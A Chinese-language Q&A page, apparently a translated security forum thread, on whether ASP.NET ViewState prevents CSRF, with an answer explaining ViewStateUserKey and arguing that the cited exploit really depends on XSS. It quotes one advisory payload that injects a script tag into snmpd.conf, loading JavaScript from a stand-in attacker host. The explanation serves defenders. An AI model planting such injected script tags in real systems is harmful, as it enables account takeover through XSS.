1

在什么情况下,请求中的视图状态可以防止 CSRF 攻击? 该漏洞利用声称即使请求中存在视图状态,它仍然容易受到 CSRF 的攻击。然而,该漏洞并没有解释为什么会这样。

4

1 回答 1

2

视图状态是一种在回发(即控件的属性值)之间保持视图状态的方法。如果这种状态可以被攻击者猜到或伪造,那么攻击者也可以伪造一个真实的跨站点请求。

上述案例中,似乎该攻击实际上需要一个跨站点脚本漏洞才能进行 CSRF 漏洞利用:

通过 XSS 和 CSRF 的组合,可以通过将 snmpd.conf 文件配置为指向攻击者控制的 JavaScript 文件来将用户添加到 Web 应用程序:

syscontact <script src="http://attacker/evil.js"></script>

因此,在目标源内部执行利用代码,这种请求伪造攻击不再是“跨站点”。

除此之外,由于视图状态在某些情况下是可预测的,因此不能防止 CSRF 攻击,因此供应商在视图状态机制中添加了一些不可预测的信息。在 ASP.NET 中,这称为ViewStateUserKey属性,它基本上是每个用户的私钥,用于为 viewstate 的 MAC 计算加盐。

但正如漏洞描述所说,他们似乎已经在使用这样的保护措施:

[...] NPM 也容易受到 CSRF 攻击,尽管它使用了 VIEWSTATE 保护。

因此,这又是一个跨站点脚本漏洞,而不是跨站点请求伪造漏洞。因为如果您已经能够在站点内执行 JavaScript 代码,那么您就已经完全控制了站点。

于 2012-07-22T20:43:20.377 回答